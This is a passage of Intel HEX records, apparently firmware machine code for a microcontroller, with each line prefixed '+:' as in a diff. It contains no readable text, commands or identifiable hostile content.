+:1048940000000440800047C0800045F40000048408 +:1048A40080006B40000006D4D40149F811893038E7 +:1048B400F0091800C06149D890092FC9B009C0583F +:1048C40049A890092FE9B00949889009E0680200D5 +:1048D400F0091900C0C130094948B00949487009B4 +:1048E4002FF99109301CF01F0013C1B049282FC8BB +:1048F40048E99289491AF409070BB0BB120A159AC0 +:10490400B0AA489A158B303AF40B1800C020DA0A82 +:1049140048AAF409000913AAB09A13B9B089301C43 +:10492400D8020000000006D0000004540000044037 +:104934008000482C0000072400000484D43118951A +:10494400FEF8021811883039F2081800C0D1FEFAB6 +:10495400020E7409A79915BBF7DBC007A36BFEFA17 +:104964000202B40BC2083029F2081800C0814FCAF1 +:1049740015A915BBA17B4FBAB40BC1583019F20865 +:104984001800C0303009C0F84F5972094F5AF7D98E +:10499400C02F120BB40BF7DBC108F6091601F7DBC5 +:1049A400C001B48B5805C2204EFA740A1439C032BF +:1049B4004EDA95094EDA740A1439E08800044EBAC6 +:1049C4009509301AF4081800C1114E68900AE0687D +:1049D40001FFF00A1900C0A1F2C8FFFF4E3A740AA1 +:1049E4001438E08800044E1A95084E1870481009CF +:1049F4004E089109301CF01F0060E08000AD4D9816 +:104A04009008EDD8C0104DD912060C970F320F8BB9 +:104A1400ECC4FFFE0981ECC3FFFD07804CF9138A47 +:104A24003019F20A1800C111E06901FFF2081900F7 +:104A3400C0C14D0870092FF99109301CF01F004EB8 +:104A4400E080008A4CD8118B5805C3114C48F0C93A +:104A5400FFFCF0CCFFF9B8822FA8B08B4BFA158A73 +:104A6400303BF60A1800C061B291E1D0C004B280B4 +:104A7400DA3A300BB29BB28B3019F20A1800C0201C +:104A8400DA3A4B7913B9F3D9C001C0C0198BA58B9D +:104A94001189F20A1504F60A000AB88AA589B089B0 +:104AA400DA3A1189F3D9C004B089DA3A4AB81188DC +:104AB4003019F2081800C3A14A9811B8F1D8C001FE +:104AC400C110EBD2C0044A682FC811B9F20A150408 +:104AD40014055C55A58911A8A568F208000A5C5A5A +:104AE400C0C849F82FC811B5169AE21A00F011A8E7 +:104AF400F1D8C004100A5C5A49A89009E06801FF83 +:104B0400F0091900C23149D8B08AF01F001D499834 +:104B1400700920199109301CF01F0017C1C0497891 +:104B2400F16501FFF01F0016DA3A48D92FC913B511 +:104B340013AA303BF6081800C0911398A888E01017 +:104B4400FFF01388F0000000A680AC85AE8AF01F49 +:104B5400000CDA3AD83A0000000006D0000007241E +:104B640000000454000006B800000480000006841D +:104B7400000004408000482C000004848000460C9F +:104B8400D431202D189316973089FEF8028EB089FF +:104B94003038F00C18005F0A500AFEF902821389BB +:104BA400F00918005F08F5E80008C0603FFCF01F3A +:104BB400009DE080012FFEF8026E70085808C3B112 +:104BC40040095809E0810126FEF802541188F0CA10 +:104BD40000013019F20A1800E08B0023FEF80248A5 +:104BE4007018FEF90246F319001A1238C132FEF9A0 +:104BF4000236FEFA0236744B1608F51B0018160826 +:104C04009308F51A001A7218F40801089318301C56 +:104C1400C01931A9FEF80204B089300CCFB830397C +:104C2400F2081800C0A1FEF802027069FEF8020042 +:104C34009109C0384FE993083038F0031800C07068 +:104C44000E9CF01F007CC070301CCE48F01F007A10 +:104C5400F01F007A4F403FF8A08800964F354F4729 +:104C64003021E0C8FFF9501830126C190B98103934 +:104C7400C4326A4A14096A5A14096E0A202AF408CA +:104C84000248F20800088D08E2031800C0D14E67FC +:104C94004E6811996E18F20801088F18F01F006809 +:104CA400301C8F1CCB780B99401A1588F208010828 +:104CB4008D18E4031800C2014D991388E408180004 +:104CC400C1B06E04300CF01F005FE08000A36E09D9 +:104CD400F2C8FFFF8F086E1A1438C0A08F09081994 +:104CE4000B98B1396C18F20800088D18C058F01FE1 +:104CF4000056CEE1C8E8300CF01F0052E080008A74 +:104D0400F01F00521894E40C1800E080008301891D +:104D14003FF8F0091800C461E20C1800C2B14C2835 +:104D240070174CB91389F20900294CAAF409002917 +:104D3400722A0E1A932A4BD9725B724A140B139976 +:104D44004BBA740A202AF20A024AF60A000A910AA5 +:104D540091193038F0031800C030F01F00394B2887 +:104D64004B3972099109911731A94AC8B089300C9D +:104D7400C5180B986C19F20801088D18400A580AD6 +:104D8400C4505808C4316E188D08E068FFFFEA1853 +:104D94000FFF8F18301CF01F002BC3B06C088F1846 +:104DA400C358E4031800C0A16E092FF96E18103916 +:104DB400C1B0F01F0023301CC2D840095809C140BB +:104DC4006E188D0830088F180B986C191039C06252 +:104DD400E068FFFFEA180FFF8F18301CF01F00195E +:104DE400C1806C088F18E2041800C0B1400A580A48 +:104DF400C040F01F0019C0E8F01F0011301CC0A80B +:104E04000B996C18F20800088D186E188F08C2EB05 +:104E1400300C2FEDD8320000000006D4000006D07C +:104E2400800055680000072C000006840000072459 +:104E3400800040C480003F9C800051AC8000406CE6 +:104E440080004940800048AC80003F3C000006D60A +:104E54000000045880005238EBCD40804998909768 +:104E6400A5874998118949981188F0091800C0D17B +:104E740049587039495870881039C07149287048A8 +:104E84000E38C031E3CF90804918490972899109DD +:104E94009117300B302CF01F000FC10048C8700967 +:104EA40048D89109301CF01F000DC080486848792B +:104EB400728991399147E3CF9080E3CF80800000DD +:104EC400000006D00000070C000006840000072C38 +:104ED40080004B84000004408000482CEBCD40C08F +:104EE40018974AE87038F00616093029F20C1800B1 +:104EF400C1314AB811894AB81188F0091800C19122 +:104F04004A7870394A5870181039C1314A48704883 +:104F14000C38C0F1C3383039F20C1800C33149F9E8 +:104F240072195809C2B0F1D8C009C2C02FF6C2A87C +:104F340049D849A9721991099116301B169CF01F82 +:104F4400001BC1E04988700949989109301CF01F81 +:104F54000019C16049284919721991399146E3CF62 +:104F640090C03038F0071800C0B14938118931A811 +:104F7400F00918005F0CE3CD80C0E3CF90C0E3CF0D +:104F840080C048984859721991099116301B0E9C9B +:104F9400F01F0006CE70CF2B000004440000070C65 +:104FA400000006840000072C80004B8400000440AD +:104FB4008000482C000006D4D4314A2811893008D6 +:104FC400F0091800C3C14A0811893FF8F009180014 +:104FD400C051301949D8B089D83A300249A549C1DD +:104FE400300649C049C449D30B8CF01F001D1897E3 +:104FF400C260A286A0860B880989F0091800C051F6 +:105004004989B2864989B2860789F0091800C031F6 +:10501400F01F0016F01F0016301848C9B288583720 +:10502400C08110025C523648F0021800CDE1C088FD +:105034005827C06131894858B089D83ADA3AD83A01 +:105044000000045600000684000006D4000006D0C8 +:1050540000000444000006D80000070C80006ABC6D +:10506400000006CC000006BC800045F480003F9C94 +:10507400D401F01F000BC11048A811893008F009B1 +:105084001800C0B0488811893008F0091800C050D1 +:1050940030594868B089D80ADA0A000080004FBC49 +:1050A400000006D000000444000006D4D401F01F20 +:1050B400000AC0F0489811893008F0091800C0812E +:1050C400F01F0007C05130E94868B089D802301C8D +:1050D400D802000080004FBC000006D080005BB8FE +:1050E400000006D4D401F01F0004C030F01F0003F8 +:1050F400D8020000800050B080003F00D401F01FAF +:105104000006C070F01F0005C040F01F0005D80263 +:10511400D80A0000800050B080003F0080003EE0CC +:10512400D401F01F0006C070F01F0005C040F01F3E +:105134000005D802D80A0000800050B080003F006B +:1051440080005074D401F01F0004C030F01F00032D +:10515400D8020000800050B080005074F8C90021CB +:1051640035D8F0091800E08B001DF8C900613198AA +:10517400F0091800E088000732B8F00C1800C0519C +:10518400C108220C5C5C5EFC487AF4C8FFFF2F9ACD +:105194001189F8091800C0502FF81438CFA15EFC0B +:1051A4005EFD000080007EDC3FF94848910930092B +:1051B400483891095EFC0000000006B80000048035 +:1051C400D421300B4958911B302CF01F0015C230EC +:1051D400494811984919720A201A100A4929930A50 +:1051E4005808C1A030070E94129648E5089CF01F99 +:1051F400000FC1105807C031F01F000DF01F000D43 +:105204006C0820188D082FF75C570B98EE081800CF +:10521400CEE1C028D82ADA2A0000072C80004B846B +:1052240000000684000004408000482C80004814DC +:105234008000460CEBCD40FC49687008496972094E +:105244001238E08B0025495549573013491630026E +:1052540049146E4912088B08069CF01F0012C150B5 +:105264006E196E48F20800086C0912088B08049C39 +:10527400F01F000CC0A0F01F000C6C082FF88D0864 +:1052840068091039CE72C038E3CF80FCE3CF90FCBC +:10529400000006B8000004800000044000000684FA +:1052A4008000482C8000460CD401F01F0021C3E08C +:1052B400F01F00204A0B169832E910C9F6CAFFF510 +:1052C400320910C91438CFE149B83109F169000B2A +:1052D40049A92FC913BAF16A001A13AAF16A001B6B +:1052E400139AF16A00141389F169001532E9F1691E +:1052F4000020F16900212DE8F6CAFFD5320910C952 +:105304001438CFE148C83109F169002B48C92E0986 +:1053140013BAF16A003A13AAF16A003B139AF16ACC +:1053240000341389F1690035301CD802800051C45F +:105334008000460C0000048400000444000006843D +:10534400D431205D1897503B1496F01F0030F01FA5 +:10535400003018C63001301830B930F330C631ABE4 +:10536400300A31FE31B530D25001F2081800C03194 +:10537400B883C458EC0818005F00F60818005F04EE +:1053840008400094F4001800C321EA081800C37010 +:10539400E4081800C0414034B884C31840015801DF +:1053A400C2410F84FB54001235C1E20419005F00AE +:1053B400502032F0E00419005F0140200240F40064 +:1053C4001800C0503004FB540012C0385804C031D7 +:1053D40030145004FAC4FFEE099018C00984B8844C +:1053E4002FF85C582FF7C0383FF1B8812FF85C587C +:1053F400FC081800E08B00082FFCCB8B2FF85C58BE +:105404002FFCCB4B2FBDD8328000460C8000426469 +:10541400D431201D500C300330F430053E5249A6DF +:105424003010F01F001AC2D0F01F00191981F8C7FC +:10543400FFF50F88E80818005F19EA0318005F18E1 +:10544400F3E80008EA081800C101B882F01F00114F +:105454000F88E8081800C041E2110040C0618C18B0 +:105464002018AC180093CDEB40085808C031301C0C +:10547400C088300948889139303CF01F00085F1C0F +:105484002FFDD832000006D080004E5C80004264BC +:105494008000460C0000044480004EE0EBCD40FC4C +:1054A400208D30060C974A953E541A933202AA175F +:1054B400F01F0027C0814A78118931A8F00918002B +:1054C400C3D1C068F01F002419885808C1B149F835 +:1054D400B016EC071900C3403205300449B6F01F7A +:1054E400001CC2C0F01F001C0A9A089BF01F001B7E +:1054F400F01F001B8C182FF8AC18F0071900CF010F +:10550400C1F8E8081800C170EC071900C120049A1A +:10551400189B1A9CF01F0013AA16F01F000DC0E080 +:10552400F01F000D049A1A9BF01F000EF01F000CD0 +:105534002FF65C862FF75C87CBBB300CC028301C61 +:105544002F8DE3CD80FC0000000006D080004E5C6F +:10555400000006D48000426480007B428000460C38 +:10556400800079FAEBCD40C0201D500C49C890C989 +:10557400704A49C8121A910A300CF01F001BC2C0AD +:10558400F01F001AF01F001A49A730460C9A49ABC5 +:105594000E9CF01F001A0C9A499BEECCFE1CF01FC7 +:1055A40000171BB9EF6901E81BA9EF6901E91B9911 +:1055B400EF6901EA1B88EF6801EB0C9AE06B00FFCE +:1055C400EECCFE14F01F000F3558EF6801FE3AA828 +:1055D400EF6801FF301C2FFDE3CD80C0000006847E +:1055E400000004408000482C8000460C80004814D1 +:1055F4000000048480007ED0800079FA80007EE47C +:1056040080007B42D431201D4CD811893038F009F8 +:105614001800C0613FFCF01F004BE080008D4CA1DE +:1056240003893FF8F0091800C07130195009302976 +:105634004C689109C0884C4870092FF94C3891097D +:1056440030185008F01F00424C0870094C1870388C +:105654001039C63230050A904BC7301230134BA4B0 +:105664004BC6009CF01F003CC6606E185808C4214D +:105674006E088F18E4051800C08120188F08069C56 +:10568400F01F0035C1F1C57803883FF9F20818000E +:10569400C17068085808C0F14A9811893038F00977 +:1056A4001800C06031B94AD8B089300CC4586C684D +:1056B4008F08C0288F08069CF01F0027C3C06E18EF +:1056C40089086E188F08E069FFFFEA190FFF8F1928 +:1056D400069CF01F0021C2F068190D981039E08B68 +:1056E4000006300949889119C2381019891906959C +:1056F400C0B8E4051800C1C040085808C0506E087E +:10570400F0C8FE0C8F086E082FF88F086C3910391A +:10571400FE9BFFA95805C0C140095809C040300884 +:105724005008C86B31B948D8B089300CC058F01F44 +:10573400000CC028300C2FFDD8320000000006D029 +:10574400800055680000072C00000724800051AC3D +:105754000000068480004940000006D480005238CE +:10576400D431201D30094A38B019189230044A2621 +:1057740031A34A21301510971290500CF01F0020CD +:10578400C1610D88E6081800C3118315F01F001DC0 +:10579400C0A15804C2B1F01F001CC280AE10400268 +:1057A4000A94CEDBF01F0019CEA1C208F01F001826 +:1057B40019883009F2081800C06120125C52C03107 +:1057C400301CC1588E182FF85C88AE18CD8158044F +:1057D400C06031B94888B089300CC098F01F000A05 +:1057E400C050AE1040020A94CCAB300C2FFDD8321E +:1057F400000006D0000006D40000072C80004E5C98 +:1058040080005608800054A0800051C48000426487 +:10581400D431189433A230D530234986ECC1FFFF2C +:105824002F960A9009870E9CF01F0015C1A1EE0265 +:105834001900C06002981189EE091900C06131C9CC +:105844004908B0893003C1682FF80C38CF51580586 +:10585400C0412FF35C53009520155C552FF4CE3BCB +:105864003148F0031800E088000632B94858B0897E +:105874003003069CD832000080007ED48000423C75 +:10588400000006D4D431208D1894502B149750095D +:105894005809C040300A501AC068F01F0065F01F54 +:1058A4000065501C3098F0071800E08B0004301895 +:1058B400C0883638EE081800F9B80202F9B80303B4 +:1058C400E06ACCCDEA1ACCCCEE0A0642E60916030D +:1058D400F2090029EE0901192D095C595079E06398 +:1058E400851FEA1351EBEE030642E6091605F20B97 +:1058F4001064EE0B010B5C5BF60A064AF60A16030B +:105904002D0A5C5A506A2D095C59505930013017E0 +:1059140002953013F00911FF2F89503932E030829B +:10592400F00811065C585048C02830770986E6070D +:105934001800C14140380A385F09E00618005F08C2 +:10594400F3E81008300AF4081800C0510C9CF01F4A +:10595400003AC1102FF75C57CEABE4071800C12101 +:1059640030B8F0051800C0500C9CF01F0033C03054 +:105974003097CDDB0C9CF01F003118962FF4580C97 +:10598400CD603078F0071800C0C1E0061800C050A0 +:105994000C9CF01F0029C0303087CC9B2FF4CC7BAB +:1059A4003068F0071800C061E4051800CBF0320637 +:1059B400C1283098F0071800C07130B9F2051800FA +:1059C400C3203206C0F83058F0071800C0414076B2 +:1059D4003067C0F83048F0071800C04140663057BF +:1059E400C0F83038F0071800C04140563047C0882E +:1059F40040493028F0071800C031129737E64009B3 +:105A04005809C050402810C65028C048401A14C62F +:105A1400501A2FF55C55E2081601A77110010C010C +:105A24005C51C85B029C2F8DD83200008000460C6C +:105A3400800042648000423C80005160EBCD408095 +:105A44001897F01F001219885808C06130A9490836 +:105A5400B089E3CF80803E59F2081800C070F9394C +:105A6400000B30F8F0091800C06130B94888B089DB +:105A7400E3CF808030B94868B08930BA0E9BF01FFC +:105A840000055F0CE3CD808080004264000006D4F2 +:105A9400800079D4D431203D189330071A963012FF +:105AA40049653004496130A0C0583FF8F007180038 +:105AB400C2002FF75C5704990E9A1A9B069CF01F9C +:105AC4000011AA14F01F0010C08148D8118931A810 +:105AD400F0091800C0E1C0E81A9CF01F000CCE6168 +:105AE4000388E0081800C0608A182FF8AA18CEBBF3 +:105AF40030070E9C2FDDD832000006D0000006D4FB +:105B04008000588880004E5C80005A40EBCD40FCF9 +:105B14001896F01F00211895C3B00C9CF01F001FAD +:105B24001897C06132A949E8B089E3CF80FC0A9C88 +:105B3400F01F001CC2D030090E9A129B0C9CF01F5F +:105B4400001A189220155C55C1C030174974EAC375 +:105B5400FFC05C5388182018A818F01F0015C180D6 +:105B6400EA071800E60717000E9A049B0C9CF01F26 +:105B740000112FF75C57EE051800C0332F36CEBB4B +:105B840048A89019F2050005B015E3CF90FCE3CFC7 +:105B940080FC00008000581480005A98000006D44D +:105BA4008000576480005888000006D080004E5C56 +:105BB40080005344D431203D3007FEF802D291874F +:105BC400F01F00B4FEF802D0B087FEF802CE9107B1 +:105BD400F01F00B3E0800158FEF502C8EAC8FE4297 +:105BE400500838043046301CF01F00AFE080014CF0 +:105BF400EB3901FE3558F0091800C0D0EB3901FF2C +:105C04003AA8F0091800C0703029FEF8029EB08945 +:105C1400300CC3A9FEF8028470085808C521400856 +:105C2400300A301E306330E230B130C01189E809E7 +:105C340018005F0BEE0918005F09F7E91009EE0977 +:105C44001800C19011C9FC0918005F0CEC09180078 +:105C54005F0BF9EB100BEE0B1800C141E6091800BD +:105C6400C110E4091800C0E0E2091800C0B0E0095E +:105C74001800C0802FFA5C5A2F08EC0A1800CD7166 +:105C8400C208EC0A1800C1D0FEF30210A56AF4CAD7 +:105C9400FE42EA0A000AF5380008A6B8F5380009F9 +:105CA400A6A8F538000AA698F538000BA6884F88F0 +:105CB400118CF01F007F6608F80802488708C94B5A +:105CC4004F8811893EB8F0091800C0F14F5811A946 +:105CD4003908F0091800C0914F28F1380015E2186E +:105CE40000F0E04800F0C06030394F08B089300C53 +:105CF400CCB830494ED8B0894EAAF539000CA199D8 +:105D0400F538000DB3385C584E1BB698300B501B59 +:105D1400FACBFFFCFAC7FFF9F53C0016AE8CFACEBD +:105D2400FFFAF53A0017BC8A401A580AC0E14DDA66 +:105D3400F53C0024AE8CF53C0025BC8CF53C0026DB +:105D4400B69CF53A0027B68A1295401CF20C024C18 +:105D54004CFA951C4D3AF53A0013580AC1614D1698 +:105D6400ED3400143006EC041800C0F14CDAF536BA +:105D74000020AE86F5370021BC87F53E0022B69E92 +:105D8400F53A0023B68AC098AE8A4C6AF53A0014F4 +:105D9400BC8A300AB69AB68A40144BDAF80B15015D +:105DA400F55B0018FAC6FFF6FAC7FFF44BDBF73EC3 +:105DB40000110EFEF73E0012AC8EF20315049ADEBB +:105DC400E60E000EA57E201EF2031509FC030C024C +:105DD400E409024EF55E001AF733000EAE83F7377E +:105DE400000FAC879A57F73B00300E96EE0B010B71 +:105DF400B33BB44BEE0902495C794A8B760BF20B48 +:105E0400000B954B5C7EFC0C001C955C5808C3B0E1 +:105E1400A935EA09010918195019301AF4081800AB +:105E2400C070A199A198F4081800CFC15019401866 +:105E3400F0CAFFFE4969933AE0480FF4E08B00078B +:105E440030194958B089301CC1F8E048FFF4E08BA0 +:105E5400000730294908B089301CC168303948E846 +:105E6400B08948B82E8848F9F33A002CB0BAF33A0E +:105E7400002DB0AAF33A002EB09AF339002FB0895E +:105E8400301CC028300C2FDDD832000000000684FE +:105E940080004200000006D00000044080004FBC97 +:105EA400000004848000482C000006D480006AE8C6 +:105EB400D401F01F0007C041E06C00FFD80248582D +:105EC4007029703810395F8CD802000080005100AE +:105ED40000000444D401F01F000AC100489811884E +:105EE400E2180002C080F01F0008C080F01F000705 +:105EF400F01F000730094838B089D80280005100EB +:105F04000000044480004E5C8000461C800047C0B2 +:105F1400D40149781188F1D8C001C05131E94958F8 +:105F2400B089DC0A4928702970381039E08B0006E2 +:105F340032094908B089DC0A302CF01F000FC0C1B7 +:105F440048C8118931A8F0091800C020DC0A3209B8 +:105F54004888B089DC0A48687039F5D9C009487B9B +:105F6400F60A070C2FF99139D80200000000044406 +:105F7400000006D480004EE000000484EBCD40C055 +:105F84001897F01F0020C3A0F01F001FC3700E96C7 +:105F94000E98E2180002C190301CF01F001CC2E0F1 +:105FA40049B811A8F1D8C001C06031594998B089E5 +:105FB400E3CF80C04988118CF01F0018C0A031497C +:105FC4004948B089E3CF80C0300CF01F0010C16095 +:105FD4000C98E2180004C040300948D89129E21610 +:105FE4000008C050300948A89139C0484888702931 +:105FF40091394878B087E3CF90C0E3CF80C00000E8 +:106004008000512480003F208000466C000004443E +:10601400000006D40000068480006AF0203D486930 +:10602400728B486A941A1389B889991BB84A2FDD70 +:106034005EFC000000000684000006D0D431201D60 +:106044001895169714961294F01F0032C5E0301874 +:10605400F00618005F0A3008F00718005F09F5E938 +:106064000009F0091800C030301CC5084AA8901374 +:106074005803C0313010C068E6C900014A68B0193D +:1060840030003008500831014A32C0283010F01F67 +:106094000023C3B05800C0700C9A0E9B0A9CF01FDA +:1060A4000020C34808990C9A0E9B0A9CF01F001DFF +:1060B400C0F049D811893008F0091800C0508A0886 +:1060C40040091208AA084948B013301CC1F849799C +:1060D4001388E2081800C070A41330B9F20818003D +:1060E400C141CD5B490913883009F2081800C0602A +:1060F40040082F385C885008C0482F3520D75C579B +:1061040084182018A418CC4B300C2FFDD832000072 +:10611400800050E8000006D080004E5C8000442CD3 +:106124008000427C000006D5000006D4D431204D06 +:10613400500C1690F01F0053E08000A14D289018D9 +:1061440050384D28F10A0024502AF138002C5018F8 +:106154003005301230074CC34CC64CD1E400180053 +:106164005F04EE0518005F18E9E81008EE0818004F +:10617400C0D086183FE9F2081900C05130894C4854 +:10618400B089C7182FF8A618C1E886183FFAF40892 +:106194001900C05130994BE8B089C6585808C1114C +:1061A400ED38002CEE081800C080ED38002DEE0804 +:1061B4001800C0313015C07830994B58B089C538B3 +:1061C4002018A618F01F0033C071038931A8F00904 +:1061D4001800C300C488ED3C002CF01F002FC1C080 +:1061E4005805CBD15804C070ED0800242FF8ED58A1 +:1061F4000024C068ED0800242018ED58002440094C +:106204005809C051F01F0025301CC38840082018CD +:106214005C885008CA4B038830A9F20818005F094B +:1062240031AAF40818005F08F3E81008EE08180013 +:10623400C9605805C050ED67002C3005C90BED3816 +:10624400002CE4081800C060ED38002DEE0818009A +:10625400C050309948E8B089C0683FF8A618ED628C +:10626400002CC7DB4898401AF16A002C4869403A70 +:10627400B21A4029F1590024300C2FCDD832000035 +:1062840080005148000006D000000684000006D4B7 +:1062940080004E5C8000458C80004544D4211895D4 +:1062A4001694301630070C9B0E9CF01F0007C0900C +:1062B40008990E9A0E9B0A9CF01F0004CF50301CC4 +:1062C400D82200008000613080006040D401F01FBB +:1062D4000004C040F01F0003301CD8028000514865 +:1062E40080004200EBCD40801897F01F0013C210CD +:1062F400300B0E9CF01F0011C06032A94908B08910 +:10630400E3CF80800E9CF01F000FC13048E83009B5 +:1063140091199129B0A948D8F10900242FF9F1590C +:1063240000243019F169002CF01F0009E3CD8080AE +:10633400E3CF8080800062D0800062A0000006D499 +:1063440080005B100000044400000684800047C005 +:10635400D421F01F001FC38049E870885808C05139 +:10636400319949D8B089D82A301949C8B019F01FD1 +:10637400001CC2A0F01F001B4968708749A972194C +:106384009189F01F001AC2004928F139002D300804 +:10639400F0091800C0D048F8F139002C3008F00991 +:1063A4001800C060C1286C180E38C051C0E8301500 +:1063B400300448D60A9B089CF01F000DCF51308949 +:1063C4004858B089D822D82ADA2A000080005148D7 +:1063D40000000684000006D4000006D080004E5C55 +:1063E4008000454400000444800062D08000613095 +:1063F400D401F01F000AC100F01F0009C0D0489862 +:1064040048999219F159001C488972199189F01F11 +:1064140000085F1CD802D80A80005124800041E89B +:1064240000000684000006D000000444800062D00E +:10643400D4211897F01F000BC081D822ED38002C0E +:10644400EE081800C051DA2A3015300448660A9B59 +:10645400089CF01F0006CF3130994858B089D822E3 +:10646400800062D00000068480006130000006D401 +:10647400D43118914998F1000024F01F0019C0315B +:106484003004C28830040897301308924936301516 +:10649400C0B8ED38002CEA081800C0412FF45C8421 +:1064A400C0382FF75C87069B049CF01F000ECF2199 +:1064B400F01F000B3FF8F0001900C060301BF9D04A +:1064C400C010F01F000830185C87E2081800EE04C2 +:1064D4001710089CD832000000000684800062D0A7 +:1064E40080006130EBCD40C01896F01F000FEFDC48 +:1064F400B010C061309948D8B089E3CF80C00C9CFB +:10650400F01F000BC0D03018F0071900C031E3CFE2 +:1065140090C00E9C202C301B5C7CF01F0006E3CD49 +:1065240080C0000080006474000006D480006434DD +:1065340080006130EBCD40801897F01F0018C2B086 +:106544000E9CF01F0017C27049683FF9B0893019DA +:106554009119F01F0015C071F01F0014F01F0014F2 +:10656400E3CF8080493848F972099119300991299B +:106574003109B0A9F01F0010C0E0F01F0010C0B036 +:10658400F01F000FF01F000AC060300CF01F000D58 +:10659400E3CD8080E3CF808080005148800062E8B2 +:1065A4000000072C8000560880005414800047C067 +:1065B40000000444800052AC80004E5C8000461C05 +:1065C400800064E8D401F01F000AC0F048981189E3 +:1065D4003008F0091800C070300948789189F01F1C +:1065E4000007DA0AF01F0006D80200008000507489 +:1065F400000006D0000006848000420080005BB8E2 +:10660400D401F01F0002D802800065C8EBCD4080A1 +:106614001897F01F000FC190F01F000EEE0C180029 +:10662400E08B0007306948C8B089E3CF808048B860 +:106634001188EE081800C031E3CF90804878B08705 +:1066440030094878B089301CE3CD808080005074D4 +:1066540080006AB8000006D400000684000006D05A +:10666400D4211897198CF01F0010C1C0F01F000F1F +:10667400C1906E1948E89189F01F000EC0A1C1288D +:106684000A9B089CF01F000CC071F01F000AD82A56 +:1066940048A6301530048C198E48F0091900CF1122 +:1066A400DA2AD82A80006610800065C800000684B3 +:1066B400800062D080006130000006D0D431206DAB +:1066C400189716911490F01F0062E08000BE1A968D +:1066D4001A9CF01F0060FAC8FFF4FAEA0000F0EB1D +:1066E4000000402991290F8835C9F20818005F0A73 +:1066F40032F9F20818005F09F5E91009C070F01FBB +:106704000056E080009D2FF7C5F80F9933AAF409CD +:106714001800C2210FAA35CBF60A18005F0B32FC11 +:10672400F80A18005F0AF7EA100AC1604CB9720946 +:10673400F2080709F0CA0020E2190002F408171051 +:106744002418F9D8C008F01F0046C790F01F004570 +:10675400C7602FD7C39832EAF4081800C19135C82E +:10676400F00918005F0A32F8F00918005F08F5E82C +:106774001008C0E02FE7C288F01F003BC6000D8858 +:10678400ECC7FFFFEA081800EC071700C05832E412 +:1067940035C332F230050F88E8081800C1510F984C +:1067A400E8081800C111EEC6FFFE0D88E6081800BF +:1067B4005F0AE40818005F09F5E91009EA091800FE +:1067C400CDC15808CDA0F01F0029C3903003069214 +:1067D400300635C532F40F88EC081800C031301C7F +:1067E400C338029B0E9CF01F0022C0515800C27097 +:1067F4000E9230132FF70F885808C0815803CEC06B +:10680400049CF01F001CCE81C1A8EA0818005F098F +:10681400E80818005F08F3E81008EC081800CEB088 +:106824005803C050049CF01F0014C090F01F0013C4 +:10683400C060F01F0013C0302FF7CCEBFACCFFF48C +:10684400F01F0010300C2FADD832000080005074BF +:106854008000602080006604000000E8800066106C +:10686400800065C880006354800062D0800062A00C +:10687400800062E880006538800041E8800063F4AD +:1068840080006664EBCD408018973018F00C180037 +:10689400E0880007327948B8B089E3CF808048A8FF +:1068A400118CEE0C1800C031E3CF9080F01F00076C +:1068B4000E9CF01F00064848B087E3CF908000008C +:1068C400000006D40000074C800046E4EBCD40F8FD +:1068D40030074918B0874918B087F01F0011F01F1E +:1068E4000011300CF01F00104903A68749053FF43E +:1068F400AA844906AC87EB67002D301CF01F000A00 +:10690400A687AA84AC87EB67002D48B8B087E3CD8F +:1069140080F80000000006D500000456800045F40D +:1069240080003F9C80006888000006D00000068438 +:10693400000004440000074C48DDFEC0ED3EE3B017 +:106944000001D55348B048C10230C06248B2A50521 +:10695400A1240230CFD348A048A10230C062300243 +:106964003003A1220230CFE3FECFF26C000080009E +:1069740000000008000000F080008090000000F09B +:1069840000000758D401FE780C00E0690080EA1981 +:1069940080809119E1B90000D303E06A030791AA4A +:1069A400700AA3AA910AE3B900007159E2190080A0 +:1069B400CFD0E06C1B00EA1C00B7F01F0008E1B95F +:1069C4000000D303FE780C00700AE01AFFFCA1AAB1 +:1069D400910AE3B90000D80280002DE0E1BA00007A +:1069E400D303FE780C007159E2190040CFD0A36C98 +:1069F400E02CF3F878083019F20B094B104B990B83 +:106A0400E3BA00005EFCD703EBCD40C01897E1B6B3 +:106A14000000D30348B811893008F0091800C051A8 +:106A2400302B301CF01F0008486811892FF9B089F9 +:106A3400E3B600000E9B303CF01F0003E3CD80C0A2 +:106A4400000001CD800069E0D401301CF01F001863 +:106A5400303B301CF01F0017E1B90000D303FE786F +:106A64000C00E06A030791AA700AA3AA910AE3B989 +:106A7400000010997358E2180080CFD03088A3A882 +:106A840031092019B169EA193F00E8190201F3E854 +:106A94001008FE790C0093887358F1D8C001CFD048 +:106AA4003069FE780C00F149006CD80280006A0C51 +:106AB400800069E05EFFD703D401580CC020DA0AD5 +:106AC4004828700C5D1CD80280007EE8D401580C64 +:106AD400C020DA0A48387018169C5D18D8020000E5 +:106AE40080007EE8580C5F0C5EFCD703D401580C80 +:106AF400C020DA0A4828702C5D1CD80280007EE889 +:106B0400EBCD40E0189716951496302CF01F000931 +:106B14005807C0303017C078487870580C9B0A9CCE +:106B24005D181897302CF01F00050E9CE3CD80E013 +:106B34008000205C80007EE8800020ACEBCD40E04B +:106B4400189716951496301CF01F00095807C0308A +:106B54003017C078487870480C9B0A9C5D181897C9 +:106B6400301CF01F00050E9CE3CD80E08000205C0B +:106B740080007EE8800020AC5EFDD70348D89018E2 +:106B8400F5D8C1083029F20A1900C1115C58C0F1C6 +:106B9400488890393018F0091900C091485848695C +:106BA4009129486991493019B0695EFF5EFD000082 +:106BB40000000428000001D980006DCCD40148E80D +:106BC40011893008F0091800C020D80A48BA48C80A +:106BD400F0E80000F4E90000300948A8B08948A8AA +:106BE4003089300BE06C0081F01F00084828B08C1D +:106BF400D8020000000001CF000001D0000001DC39 +:106C0400000001CE80006C1080003884D40130086C +:106C14004859B28848591389F0091800C030F01F48 +:106C24000004D802000001CF000001CE80006BC038 +:106C3400EBCD4080E1B70000D303499811A8580870 +:106C4400C210F8081800C0B049592FD93038308B19 +:106C5400138A580AC0F0F80A1800C051E3B70000BC +:106C6400E3CF90802FF85C582FF9F6081800CF1165 +:106C7400C0583089F2081800C061E3B70000E3CFC0 +:106C8400808030284869F2080B0C30194858B089C4 +:106C9400F01F0005E3B70000E3CF9080000001DCA3 +:106CA400000001CE80006BC0EBCD4080E1B7000056 +:106CB400D3034A1811A85808C0B0F8081800C22015 +:106CC40049D92FD93038308B138A580AC041E3B7D9 +:106CD4000000C2F8F80A1800C0802FF85C582FF999 +:106CE400F6081800CF21C0B83089F2081800C07027 +:106CF4003069F2081800E0880007C118E3B7000003 +:106D0400C188302848C9307BF208000A159AF20875 +:106D14000B0A2FF85C58F6081800CF713009486840 +:106D2400B0F930194858B089F01F0005E3B70000E6 +:106D3400E3CF9080000001DC000001CE80006BC036 